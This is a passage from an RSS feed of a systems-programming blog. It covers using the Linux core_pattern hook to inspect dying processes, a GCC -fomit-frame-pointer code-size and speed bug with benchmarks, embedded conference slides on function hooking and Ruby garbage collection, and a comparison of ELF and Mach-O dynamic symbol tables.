 * Runs a user-space application.  The application is started
 * asynchronously if wait is not set, and runs as a child of keventd.
 * (ie. it runs with full root capabilities).
 */
</pre>
</p>
<h2>what it all means</h2>
<p>All together this is actually <i>pretty fucking sick</i>:</p>
<ul>
<li>You can set <code>/proc/sys/kernel/core_pattern</code> to run a script when a process is going to dump core.</li>
<li>Your script is run <i>before the process is killed</i>.</li>
<li>A pipe is opened and attached to your script. The kernel writes the coredump to the pipe. Your script can read it and write it to storage.</li>
<li>Your script can attach <code>GDB</code>, get a backtrace, and gather other information to send a detailed email.</li>
</ul>
<p><b><u>But the coolest part of all</u>:</b></p>
<ul>
<li><b>All of the files in <code>/proc/[pid]</code> for that process remain intact and can be inspected.</b> You can check the open file descriptors, the process&#8217;s memory map, and much much more.</li>
</ul>
<h2>ruby codez to harness this amazing code path</h2>
<p>I whipped up a pretty simple, ugly, ruby script. You can get it <a href="http://gist.github.com/587443"><b>here</b></a>. I set up my system to use it by:</p>
<pre>
% echo "|/path/to/core_helper.rb %p %s %u %g" > /proc/sys/kernel/core_pattern
</pre>
</p>
<p>Where:</p>
<ul>
<li><b>%p</b> &#8211; <code>PID</code> of the dying process</li>
<li><b>%s</b> &#8211; signal number causing the core dump</li>
<li><b>%u</b> &#8211; real user id of the dying process</li>
<li><b>%g</b> &#8211; real group id of the dyning process</li>
</ul>
<h2>Why didn&#8217;t you read the documentation instead?</h2>
<p>This (as far as I can tell) little-known feature is documented at <code>linux-kernel-source/Documentation/sysctl/kernel.txt</code> under the &#8220;core_pattern&#8221; section. I didn&#8217;t read the documentation because (little known fact) I actually don&#8217;t know how to read. I found the code path randomly and it was much more fun an interesting to discover this little feature by diving into the code.</p>
<h2>Conclusion</h2>
<ul>
<li>This could/should probably be a feature/plugin/whatever for god/monit/etc instead of a stand-alone script.</li>
<li>Reading code to discover features doesn&#8217;t scale very well, but it is a lot more fun than reading documentation all the time. Also, you learn stuff and reading code makes you a better programmer.</li>
</ul>
<h2>References</h2>
<ol class="footnotes"><li id="footnote_0_1931" class="footnote"><a href="http://lxr.linux.no/linux+v2.6.35.4/fs/exec.c#L1836">http://lxr.linux.no/linux+v2.6.35.4/fs/exec.c#L1836</a></li><li id="footnote_1_1931" class="footnote"><a href="http://lxr.linux.no/linux+v2.6.35.4/fs/exec.c#L1446">http://lxr.linux.no/linux+v2.6.35.4/fs/exec.c#L1446</a></li><li id="footnote_2_1931" class="footnote"><a href="http://lxr.linux.no/linux+v2.6.35.4/fs/exec.c#L1937">http://lxr.linux.no/linux+v2.6.35.4/fs/exec.c#L1836</a></li></ol>]]></content:encoded>
			<wfw:commentRss>http://timetobleed.com/an-obscure-kernel-feature-to-get-more-info-about-dying-processes/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Slides from Defcon 18: Function hooking for OSX and Linux</title>
		<link>http://timetobleed.com/slides-from-defcon-18-function-hooking-for-osx-and-linux/</link>
		<comments>http://timetobleed.com/slides-from-defcon-18-function-hooking-for-osx-and-linux/#comments</comments>
		<pubDate>Sun, 01 Aug 2010 18:24:35 +0000</pubDate>
		<dc:creator>Aman Gupta</dc:creator>
				<category><![CDATA[debugging]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[osx]]></category>
		<category><![CDATA[systems]]></category>
		<category><![CDATA[profiling]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=1928</guid>
		<description><![CDATA[Video from Def Con 18 Defcon 18: Function hooking for OSX and Linux from Daniel Hückmann on Vimeo. Slides Function hooking for OSX and Linux]]></description>
			<content:encoded><![CDATA[<h2>Video from Def Con 18</h2>
<p><iframe src="http://player.vimeo.com/video/14951625" width="400" height="200" frameborder="0"></iframe>
<p><a href="http://vimeo.com/14951625">Defcon 18: Function hooking for OSX and Linux</a> from <a href="http://vimeo.com/user4726540">Daniel Hückmann</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h2>Slides</h2>
<p>
<a title="View Function hooking for OSX and Linux on Scribd" href="http://www.scribd.com/doc/35191054/Function-hooking-for-OSX-and-Linux" style="margin: 12px auto 6px auto; font-family: Helvetica,Arial,Sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none; display: block; text-decoration: underline;">Function hooking for OSX and Linux</a> <object id="doc_42930970869868" name="doc_42930970869868" height="500" width="100%" type="application/x-shockwave-flash" data="http://d1.scribdassets.com/ScribdViewer.swf" style="outline:none;" rel="media:presentation" resource="http://d1.scribdassets.com/ScribdViewer.swf?document_id=35191054&#038;access_key=key-1ffxxqbbglaccfa347qr&#038;page=1&#038;viewMode=slideshow" xmlns:media="http://search.yahoo.com/searchmonkey/media/" xmlns:dc="http://purl.org/dc/terms/" ><param name="movie" value="http://d1.scribdassets.com/ScribdViewer.swf"><param name="wmode" value="opaque"><param name="bgcolor" value="#ffffff"><param name="allowFullScreen" value="true"><param name="allowScriptAccess" value="always"><param name="FlashVars" value="document_id=35191054&#038;access_key=key-1ffxxqbbglaccfa347qr&#038;page=1&#038;viewMode=slideshow"><embed id="doc_42930970869868" name="doc_42930970869868" src="http://d1.scribdassets.com/ScribdViewer.swf?document_id=35191054&#038;access_key=key-1ffxxqbbglaccfa347qr&#038;page=1&#038;viewMode=slideshow" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="500" width="100%" wmode="opaque" bgcolor="#ffffff"></embed></object> </p>
]]></content:encoded>
			<wfw:commentRss>http://timetobleed.com/slides-from-defcon-18-function-hooking-for-osx-and-linux/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>GCC optimization flag makes your 64bit binary fatter and slower</title>
		<link>http://timetobleed.com/gcc-optimization-flag-makes-your-64bit-binary-fatter-and-slower/</link>
		<comments>http://timetobleed.com/gcc-optimization-flag-makes-your-64bit-binary-fatter-and-slower/#comments</comments>
		<pubDate>Tue, 20 Jul 2010 12:59:53 +0000</pubDate>
		<dc:creator>Joe Damato</dc:creator>
				<category><![CDATA[debugging]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[systems]]></category>
		<category><![CDATA[testing]]></category>
		<category><![CDATA[x86]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=1909</guid>
		<description><![CDATA[If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter. The intention of this post is to highlight a subtle GCC optimization bug that leads to slower and larger code being generated than would have been generated without the optimization flag. UPDATED: Graphs are now 0 based on the y [...]]]></description>
			<content:encoded><![CDATA[<p><center><img src="http://timetobleed.com/images/large_bug.jpg" alt="" width="300" height="400" /></center><br />
If you enjoy this article, <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<p>The intention of this post is to highlight a subtle GCC optimization bug that leads to slower and larger code being generated than would have been generated without the optimization flag.</p>
<h2>UPDATED: Graphs are now 0 based on the y axis. Links in the tidbits section (below conclusion) for my ugly test harness and terminal session of the build of the test case in the bug report, objdump, and corresponding system information.</h2>
<h2>Hold the #gccfail tweets, son.</h2>
<p>Everyone fucks up. The point of this post is <em>not</em> to rag on GCC. If writing a C compiler was easy then every asshole with a keyboard would write one for fun.</p>
<h2>WARNING: THERE IS MATH, SCIENCE, AND GRAPHS BELOW.</h2>
<p>Watch yourself.</p>
<h2>The original bug report for <code>-fomit-frame-pointer</code>.</h2>
<p>I stumbled across a <a href="http://gcc.gnu.org/bugzilla/show_bug.cgi?id=44958">bug report for GCC</a> that was very interesting. It points out a very subtle bug that occurs when the <code>-fomit-frame-pointer</code> flag is passed to GCC. The bug report is for 32bit code, however after some testing I found that this bug <strong>also rears its head in 64bit code</strong>.</p>
<h2>What is <code>-fomit-frame-pointer</code> supposed to do?</h2>
<p>The <code>-fomit-frame-pointer</code> flag is intended to direct GCC to avoid saving and restoring the frame pointer (<code>%ebp</code> or <code>%rbp</code>). This is supposed to make function calls faster, since the function is doing less work each invocation. It should also make function code take fewer bytes since there are fewer instructions being executed.</p>
<p>A caveat of using <code>-fomit-frame-pointer</code> is that it <em>may</em> make <strong>debugging impossible</strong> on certain systems. To combat this on Linux, <code>.debug_frame</code> and <code>.eh_frame</code> sections are added to ELF binaries to assist in the stack unwinding process when the frame pointer is omitted.</p>
<h2>What is the bug?</h2>
<p>The bug is that when <code>-fomit-frame-pointer</code> is used, GCC erroneously uses the frame pointer register as a general purpose register <em>when a different register could be used instead</em>.</p>
<p><strong>wat.</strong></p>
<p>The amd64 and i386 ABIs<sup>1</sup> <sup>2</sup> specify a list of caller and callee saved registers.</p>
<ul>
<li>The frame pointer register is callee saved. That means that if a function is going to use the frame pointer register, it must save and restore the value in the register.</li>
<li>The test case provided in the bug report shows that other <em>caller</em> saved registers were available for use.</li>
<li>Had the function used a caller saved register instead, there would be <em>no need</em> for the additional save and restore instructions in the function.</li>
<li>Removing those instructions would take fewer bytes and execute faster.</li>
</ul>
<h2>What are the consequences?</h2>
<p>Let&#8217;s take a look at two potential pieces of code.</p>
<p>The first piece is the code that would be generated if <code>-fomit-frame-pointer</code> <strong>is not used</strong>:</p>
<pre class="prettyprint">test1:
        pushq %rbp       ; save frame pointer
        movq %rsp,%rbp   ; update frame pointer to the current stack pointer
           ; here is where your function would do work
        leave            ; restore the stack pointer and frame pointer
        ret              ; return</pre>
<p><strong>Size: 6 bytes</strong>.</p>
<p>The above assembly sequence uses the frame pointer.</p>
<p>Let&#8217;s take a look at the code that is generated by GCC when <code>-fomit-frame-pointer</code> is used:</p>
<pre class="prettyprint">        sub $0x8, %rsp    ; make room on the stack
        movq %rbp, (%rsp) ; store rbp on the stack
          ; here is where your function would modify and use %rbp as needed
        movq (%rsp), %rbp ; restore %rbp
        add $0x8, %rsp    ; get rid of the extra stack space
        ret               ; return</pre>
<p><strong>Size: 17 bytes</strong>.</p>
<p>The above assembly sequence is what is generated when GCC decides to use the frame pointer register as a general purpose register. Since it is callee saved, it must be saved before being modified and restored after being modified.</p>
<h2>So <code>-fomit-frame-pointer</code> makes your binary fatter, but does it make it slower?</h2>
<p>Only one way to find out: <strong>do science.</strong></p>
<p>I built a simple (and very ugly) testing harness to test the above pieces of code to determine which piece of code is faster. Before we get into the benchmark results, I want to tell you why my benchmark is <em>bullshit</em>.</p>
<p>Yes, <em>bullshit</em>.</p>
<p>You see, it makes me sad when people post benchmarks and neglect to tell others why their benchmark may be inaccurate. So, lemme start the trend.</p>
<p>This benchmark is useless because:</p>
<ul>
<li>Reading the CPU cycle counter is unreliable (more on this below the conclusion). I also tracked wall clock time, too.</li>
<li>I don&#8217;t have the ideal test environment. I ran this on bare metal hardware, and set the CPU affinity to keep the process pinned to a single CPU&#8230; <strong>BUT</strong></li>
<li><strong>I could have done better</strong> if I had pinned <code>init</code> to CPU0 (thereby forcing all children of init to be pinned to CPU0 &#8211; <strong>remember child processes inherit the affinity mask</strong>). I would have then had an entire CPU for nothing but my benchmark.</li>
<li><strong>I could have done better</strong> if I forced the CPU running my benchmark program to not handle any IRQs.</li>
<li><b>I only tested one version of GCC</b>: (Debian 4.3.2-1.1) 4.3.2</li>
<li><strong>I could have</strong> taken more samples.</li>
</ul>
<p>You can find more testing harness tidbits below the conclusion.</p>
<h2>Benchmark Results</h2>
<p>
<b>test 1</b> &#8212; Code sequence simulating using the  frame pointer.<br />
<b>test 2</b> &#8212; Code sequence simulating using the frame pointer as a general purpose register.
</p>
<h2>64bit results</h2>
<p><b><u>Using <code>-fomit-frame-pointer</code> is SLOWER (contrary to what you&#8217;d expect) than not using it!</u></b></p>
<table border="1" bordercolor="#000000" style="background-color:#ffffff" width="600" cellpadding="1" cellspacing="0">
<tr>
<td></td>
<td>cycles test 1</td>
<td>cycles test 2</td>
<td>microsecs test 1</td>
<td>microsecs test 2</td>
</tr>
<tr>
<td>mean</td>
<td>3514422987.92</td>
<td>4559685515.66</td>
<td>1882707.27</td>
<td>2442663.94</td>
</tr>
<tr>
<td>median</td>
<td>3507007423.5</td>
<td>4562511684.5</td>
<td>1878721.5</td>
<td>2444171.5</td>
</tr>
<tr>
<td>max</td>
<td>3922780211</td>
<td>4672066854</td>
<td>2101457</td>
<td>2502869</td>
</tr>
<tr>
<td>min</td>
<td>3502194976</td>
<td>4327782795</td>
<td>1876113</td>
<td>2318452</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>std dev</td>
<td>31927179.5632</td>
<td>15449507.8196</td>
<td>17103.7755</td>
<td>8275.49788</td>
</tr>
<tr>
<td>variance</td>
<td>1.02E+15</td>
<td>238687291867021</td>
<td>292539135.936</td>
<td>68483865.11835</td>
</tr>
</table>
<p></p>
<p>
<img src="http://timetobleed.com/images/64bit_cycles.png" alt="" />
</p>
<p>
<br />
<img src="http://timetobleed.com/images/64bit_microsecs.png" alt="" />
</p>
<p></p>
<h2>32bit results</h2>
<p><b><u>Using <code>-fomit-frame-pointer</code> is FASTER (as it should be) than not using it! The binary is still fatter, though.</u></b></p>
<table border="1" bordercolor="#000000" style="background-color:#ffffff" width="600" cellpadding="1" cellspacing="0">
<tr>
<td></td>
<td>cycles test 1</td>
<td>cycles test 2</td>
<td>microsecs test 1</td>
<td>microsecs test 2</td>
</tr>
<tr>
<td>mean</td>
<td>3502932799.49</td>
<td>3491263364.89</td>
<td>1876553.08</td>
<td>1870301.35</td>
</tr>
<tr>
<td>median</td>
<td>3501486586.5 </td>
<td>3492013955.5</td>
<td>1875778</td>
<td>1870702.5</td>
</tr>
<tr>
<td>max</td>
<td>3905163528</td>
<td>3731985243</td>
<td>2092032</td>
<td>1999259</td>
</tr>
<tr>
<td>min</td>
<td>3500916510</td>
<td>3408834436</td>
<td>1875472</td>
<td>1826144</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>std dev</td>
<td>10066939.1113</td>
<td>7992367.6913</td>
<td>5393.0412</td>
<td>4281.5466</td>
</tr>
<tr>
<td>variance</td>
<td>101343263071403</td>
<td>63877941312996.4</td>
<td>29084893.2588</td>
<td>18331640.9459</td>
</tr>
</table>
<p></p>
<p>
<img src="http://timetobleed.com/images/32bit_cycles.png" alt="" />
</p>
<p>
<br />
<img src="http://timetobleed.com/images/32bit_microsecs.png" alt="" />
</p>
<h2>Conclusion</h2>
<ul>
<li>GCC is a really complex piece of software; this bug is very subtle and may have existed for a while.</li>
<li>I&#8217;ve said this a few times, but knowing and understanding your system&#8217;s ABI is crucial for catching bugs like these.</li>
<li>Math and science are cool now, much like computers. You should use both.</li>
</ul>
<p>
Thanks for reading and don&#8217;t forget to <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>Testing harness tidbits</h2>
<p>Each <strong>run</strong> of the benchmark executes either <code>test1</code> or <code>test2</code> (from above) 500,000,000 times. I did around 2500 runs for each test function.<br />
</p>
<p>
You can get the testing harness, a build script, and a test script here: <a href="http://gist.github.com/483524">http://gist.github.com/483524</a>
</p>
<p>You can look at the terminal session where I build the test from the original bug report on my system: <a href="http://gist.github.com/483494">http://gist.github.com/483494</a>
</p>
<p>
The code I used to read the CPU cycle counter looks like this:</p>
<pre class="prettyprint">static __inline__ unsigned long long rdtsc(void)
{
  unsigned long hi = 0, lo = 0;
  __asm__ __volatile__ ("lfence\n\trdtsc" : "=a"(lo), "=d"(hi));
  return ( (unsigned long long)lo)|( ((unsigned long long)hi)<<32 );
}</pre>
</p>
<p>
The <code>lfence</code> instruction is a serializing instruction that ensures that all load instructions which were issued before the <code>lfence</code> instruction have been executed before proceeding. I did this to make sure that the cycle counter was being read after all operations in the test functions were executed.<br />
<br />
The values returned by this function are misleading because CPU frequency may be scaled at any time. This is why I also measured wall clock time.<br />
</p>
<h2>References</h2>
<ol class="footnotes"><li id="footnote_0_1909" class="footnote"><a href="http://www.sco.com/developers/devspecs/abi386-4.pdf">http://www.sco.com/developers/devspecs/abi386-4.pdf</a></li><li id="footnote_1_1909" class="footnote"><a href="http://www.x86-64.org/documentation/abi.pdf ">http://www.x86-64.org/documentation/abi.pdf </a></li></ol>]]></content:encoded>
			<wfw:commentRss>http://timetobleed.com/gcc-optimization-flag-makes-your-64bit-binary-fatter-and-slower/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Garbage Collection and the Ruby Heap (from railsconf)</title>
		<link>http://timetobleed.com/garbage-collection-and-the-ruby-heap-from-railsconf/</link>
		<comments>http://timetobleed.com/garbage-collection-and-the-ruby-heap-from-railsconf/#comments</comments>
		<pubDate>Tue, 08 Jun 2010 16:38:20 +0000</pubDate>
		<dc:creator>Joe Damato</dc:creator>
				<category><![CDATA[debugging]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[scaling]]></category>
		<category><![CDATA[systems]]></category>
		<category><![CDATA[x86]]></category>
		<category><![CDATA[debug]]></category>
		<category><![CDATA[garbage collection]]></category>
		<category><![CDATA[GC]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[ltrace]]></category>
		<category><![CDATA[memory]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[profiling]]></category>
		<category><![CDATA[x86_64]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=1787</guid>
		<description><![CDATA[Download as PDF (15mb) Garbage Collection and the Ruby Heap]]></description>
			<content:encoded><![CDATA[<p><a style="float:right" href="http://dl.dropbox.com/u/1681973/gc-railsconf.pdf">Download as PDF (15mb)</a><br />
<a title="View Garbage Collection and the Ruby Heap on Scribd" href="http://www.scribd.com/doc/32718051/Garbage-Collection-and-the-Ruby-Heap" style="margin: 12px auto 6px auto; font-family: Helvetica,Arial,Sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none; display: block; text-decoration: underline;">Garbage Collection and the Ruby Heap</a> <object id="doc_179903367382288" name="doc_179903367382288" height="600" width="100%" type="application/x-shockwave-flash" data="http://d1.scribdassets.com/ScribdViewer.swf" style="outline:none;" ><param name="movie" value="http://d1.scribdassets.com/ScribdViewer.swf"><param name="wmode" value="opaque"><param name="bgcolor" value="#ffffff"><param name="allowFullScreen" value="true"><param name="allowScriptAccess" value="always"><param name="FlashVars" value="document_id=32718051&#038;access_key=key-1hl4d18vocqmc9ilk9a&#038;page=1&#038;viewMode=slideshow"><embed id="doc_179903367382288" name="doc_179903367382288" src="http://d1.scribdassets.com/ScribdViewer.swf?document_id=32718051&#038;access_key=key-1hl4d18vocqmc9ilk9a&#038;page=1&#038;viewMode=slideshow" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="600" width="100%" wmode="opaque" bgcolor="#ffffff"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://timetobleed.com/garbage-collection-and-the-ruby-heap-from-railsconf/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Dynamic symbol table duel: ELF vs Mach-O, round 2</title>
		<link>http://timetobleed.com/dynamic-symbol-table-duel-elf-vs-mach-o-round-2/</link>
		<comments>http://timetobleed.com/dynamic-symbol-table-duel-elf-vs-mach-o-round-2/#comments</comments>
		<pubDate>Tue, 01 Jun 2010 12:59:46 +0000</pubDate>
		<dc:creator>Joe Damato</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[osx]]></category>
		<category><![CDATA[systems]]></category>
		<category><![CDATA[x86]]></category>
		<category><![CDATA[debug]]></category>
		<category><![CDATA[elf]]></category>
		<category><![CDATA[mach-o]]></category>
		<category><![CDATA[x86_64]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=1668</guid>
		<description><![CDATA[If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter. The intention of this post is to continue highlighting some of the similarities and differences between ELF and Mach-O that I encountered while building memprof. The previous post in this series can be found here. What is a symbol table? [...]]]></description>
			<content:encoded><![CDATA[<p><center><img src="http://timetobleed.com/images/duel.jpg" alt="" width="300" height="400" /></center><br />
If you enjoy this article, <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<p>The intention of this post is to continue highlighting <b>some</b> of the similarities and differences between <code>ELF</code> and <code>Mach-O</code> that I encountered while building <a href="http://github.com/ice799/memprof">memprof</a>. The previous post in this series can be found <a href="http://timetobleed.com/dynamic-linking-elf-vs-mach-o/">here</a>.</p>
<h2>What is a symbol table?</h2>
<p>A <b>symbol table</b> is simply a list of names  in an object. The names in the list may be names of functions, initialized/uninitialized memory regions, or other things depending on the object format. The <b>symbol table</b> does <b>not</b> need to be mapped into a running process and is only useful for debugging. The <b>symbol table</b> (and other sections) may be removed from an object when you use <code>strip</code>.</p>
<h2>Symbol tables in <code>ELF</code> objects</h2>
<p>An entry in the symbol table in an <b>ELF</b> object can best be described by the following <code>struct</code> from <code>/usr/include/elf.h</code>:</p>
<pre class="prettyprint">
typedef struct
{
  Elf64_Word    st_name;                /* Symbol name (string tbl index) */
  unsigned char st_info;                /* Symbol type and binding */
  unsigned char st_other;               /* Symbol visibility */
  Elf64_Section st_shndx;               /* Section index */
  Elf64_Addr    st_value;               /* Symbol value */
  Elf64_Xword   st_size;                /* Symbol size */
} Elf64_Sym;
</pre>
<p></p>
<p>In most cases, this structure is used to find the mapping from a symbol name to the address where it lives. Although, different symbol types (specified by <code>st_info</code>) provide mappings from symbols to other data.</p>
<p>The <code>st_name</code> field is an index into a section called <code>strtab</code> which is just a table of strings.</p>
<h2>Symbol tables in <code>Mach-O</code> objects</h2>
<p>Let&#8217;s take a look at the <code>struct</code> for a symbol table entry in a <b>Mach-O</b> object from <code>/usr/include/mach-o/nlist.h</code>:</p>
<pre class = "prettyprint">
struct nlist_64 {
    union {
        uint32_t  n_strx; /* index into the string table */
    } n_un;
    uint8_t n_type;        /* type flag */
    uint8_t n_sect;        /* section number or NO_SECT */
    uint16_t n_desc;       /* see <mach-o/stab.h> */
    uint64_t n_value;      /* value of this symbol (or stab offset) */
};
</pre>
<p></p>
<p>It looks very similar. The immediately noticeable difference with <code>ELF</code>:
<ul>
<li><b>lack of <code>size</code> field</b> &#8211; The only noticeable difference on your first glance is the lack of a size field. The size field in <b>ELF</b> objects describes the number of bytes occupied by the symbol. This is actually pretty useful, especially for <a href="http://github.com/ice799/memprof">memprof</a>. The <i>lack</i> of this field in <b>Mach-O</b> was a source of frustration for <a href="http://twitter.com/jakedouglas">Jake</a> when he was implementing Mach-O support.
</ul>
</p>
<h2>What is a <i>dynamic</i> symbol table?</h2>
<p>Shared objects in both <code>Mach-O</code> and <code>ELF</code> have a symbol table listing <i>only</i> functions that are exporteed by the object.</p>
<p>This table is used during dynamic linking and is mapped into the process&#8217; address space when the object is loaded, unlike the symbol table which is just used for debugging.</p>
<p>The <b>dynamic symbol table</b> is a <i>subset</i> of the <b>symbol table</b>. </p>
<h2>Dynamic symbol table in ELF objects</h2>
<p>The dynamic symbol table in ELF objects is stored in a section named <code>dynsym</code>. The indexes stored in the <code>st_name</code> field (from the structure listed above) are indexes into the string table in a section named <code>dynstr</code>. <code>dynstr</code> is a string table specifically for entries in the dynamic symbol table.</p>
<p>If you know the symbol you care about, you can simply calculate a hash of the symbol name to find the symbol table entry for that symbol. Unfortunately, there is not very much documentation about the hash function that is to be used.</p>
<p>Your two options are:
<ul>
<li>You&#8217;ll need to either read the source for <a href="http://www.gnu.org/software/binutils/">binutils</a>,</li>
<li>check out a useful post on a <a href="http://sourceware.org/ml/binutils/2006-10/msg00377.html">mailing list</a>. </li>
</ul>
<p>The sections storing the hash table data for an object are called <code>.hash</code> and <code>.gnu.hash</code>.</p>
<h2>Dynamic symbol table in Mach-O objects</h2>
<p>Finding the dynamic symbol table in a Mach-O object is a bit complicated. The pieces to the puzzle are found across different structures and the documentation on how it all works is sparse.</p>
<p><code>Mach-O</code> objects have a load command called <code>LC_DYSYMTAB</code> which describes information about the dynamic symbol table in <code>Mach-O</code> objects.</p>
<p>I&#8217;ve shortened the structure definition, as it is quite large and contains documentation about stuff that is not directly relevant to this post. From <code>/usr/include/mach-o/loader.h</code>:</p>
<pre class="prettyprint">
struct dysymtab_command {
    uint32_t cmd; /* LC_DYSYMTAB */
    uint32_t cmdsize; /* sizeof(struct dysymtab_command) */

    /* .... */

    /*
     * The sections that contain "symbol pointers" and "routine stubs" have
     * indexes and (implied counts based on the size of the section and fixed
     * size of the entry) into the "indirect symbol" table for each pointer
     * and stub.  For every section of these two types the index into the
     * indirect symbol table is stored in the section header in the field
     * reserved1.  An indirect symbol table entry is simply a 32bit index into
     * the symbol table to the symbol that the pointer or stub is referring to.
     * The indirect symbol table is ordered to match the entries in the section.
     */
    uint32_t indirectsymoff; /* file offset to the indirect symbol table */
    uint32_t nindirectsyms;  /* number of indirect symbol table entries */

    /* .... */
};
</pre>
<p></p>
<p>The <code>LC_DYSYMTAB</code> load command provides the fields <code>indirectsymoff</code> and <code>nindirectsyms</code> which describe the offset into the file where the indirect symbol tables lives and the number of entries in the table, respectively.</p>
<p>The dynamic symbol table in <code>Mach-O</code> is surprisingly simple. Each entry in the table is just a 32bit index into the symbol table. The dynamic symbol table is just a list of indexes and nothing else. </p>
<p>It turns out there are a few more pieces to the puzzle.</p>
<p>Take a look at the definition for a <code>Mach-O</code> section:</p>
<pre class="prettyprint">
struct section_64 { /* for 64-bit architectures */
  char    sectname[16]; /* name of this section */
  char    segname[16];  /* segment this section goes in */
  uint64_t  addr;   /* memory address of this section */
  uint64_t  size;   /* size in bytes of this section */
  uint32_t  offset;   /* file offset of this section */
  uint32_t  align;    /* section alignment (power of 2) */
  uint32_t  reloff;   /* file offset of relocation entries */
  uint32_t  nreloc;   /* number of relocation entries */
  uint32_t  flags;    /* flags (section type and attributes)*/
  uint32_t  reserved1;  /* reserved (for offset or index) */
  uint32_t  reserved2;  /* reserved (for count or sizeof) */
  uint32_t  reserved3;  /* reserved */
};
</pre>
</p>
<p>It turns out that the fields <code>reserved1</code> and <code>reserved2</code> are useful too.</p>
<p>If a section_64 structure is describing a <code>symbol_stub</code> or <code>__la_symbol_ptr</code> sections (read the <a href="http://timetobleed.com/dynamic-linking-elf-vs-mach-o/">previous post</a> to learn about these sections), then the <code>reserved1</code> field hold the <i>index into the dynamic symbol table</i> for the sections entries in the table.</p>
<p><code>symbol_stub</code> sections also make use of the <code>reserved2</code> field; the size of a single stub entry is stored in <code>reserved2</code> otherwise, the field is set to 0.</p>
<h2>Two notable differences between the dynamic symbol tables</h2>
<ul>
<li>There is an explicit section in <code>ELF</code> that contains <code>Elf64_Sym</code> entries. On <code>Mach-O</code> it&#8217;s just a list of 32bit offsets.</li>
<li><code>ELF</code> provides a <code>.hash</code> section and/or <code>.gnu_hash</code> section to speed up symbol lookup. <code>Mach-O</code> does not.</li>
</ul>
<h2>What happens when you run <code>strip</code>?</h2>
<p>Let&#8217;s use <code>strip</code> with no options (other than the filename).</p>
<p>On <code>ELF</code>:</p>
<ul>
<li>All <code>.debug_*</code> sections are removed. These sections contain extra debugging information that helps debuggers figure out more precisely what went wrong.</li>
<li><code>.symtab</code> section is removed.</li>
<li><code>.strtab</code> section is removed.</li>
</ul>
<p>On <code>Mach-O</code>:</p>
<ul>
<li>Only undefined symbols and dynamic symbols are left in the symbol table. Everything else is removed.</li>
</ul>
<h2>How to <code>strip</code> so I can debug later (linux only)</h2>
<p>If you decide to <code>strip</code> your binary please be considerate to future hackers who may need to debug your app for some reason.</p>
<p>You can be considerate by following the directions in <code>strip(1)</code>:</p>
<blockquote><p>
           1. Link the executable as normal.  Assuming that is is called<br />
               &#8220;foo&#8221; then&#8230;</p>
<p>           2. Run &#8220;objcopy &#8211;only-keep-debug foo foo.dbg&#8221; to<br />
               create a file containing the debugging info.</p>
<p>           3. Run &#8220;objcopy &#8211;strip-debug foo&#8221; to create a<br />
               stripped executable.</p>
<p>           4. Run &#8220;objcopy &#8211;add-gnu-debuglink=foo.dbg foo&#8221;<br />
               to add a link to the debugging info into the stripped executable.
</p></blockquote>
<p>And don&#8217;t forget to put your debugging information somewhere easily accessible and googleable.</p>
<p>If you do this: <b>you are cool</b>. If you don&#8217;t&#8230;</p>
<h2>Conclusion</h2>
<ol>
<li>I like the way ELF does dynamic symbol tables, the <code>gnu_debuglink</code> section, and the lookup hash table for dynamic symbols. All of these pieces are really useful and I am glad they exist.</li>
<li>The indirect symbol table was a bit of a pain to track down on <code>Mach-O</code> as the information is hard to parse on the first pass. To be fair, it is all there if you google around a bit and put the pieces together.</li>
<li>On Linux, if you strip, please add a <code>gnu_debuglink</code> section and put the debug information somewhere I can find it.</li>
</ol>
<p>
Thanks for reading and don&#8217;t forget to <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>References</h2>
]]></content:encoded>
			<wfw:commentRss>http://timetobleed.com/dynamic-symbol-table-duel-elf-vs-mach-o-round-2/feed/</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>Dynamic Linking: ELF vs. Mach-O</title>
		<link>http://timetobleed.com/dynamic-linking-elf-vs-mach-o/</link>
		<comments>http://timetobleed.com/dynamic-linking-elf-vs-mach-o/#comments</comments>
		<pubDate>Wed, 12 May 2010 14:00:09 +0000</pubDate>
		<dc:creator>Joe Damato</dc:creator>
				<category><![CDATA[debugging]]></category>
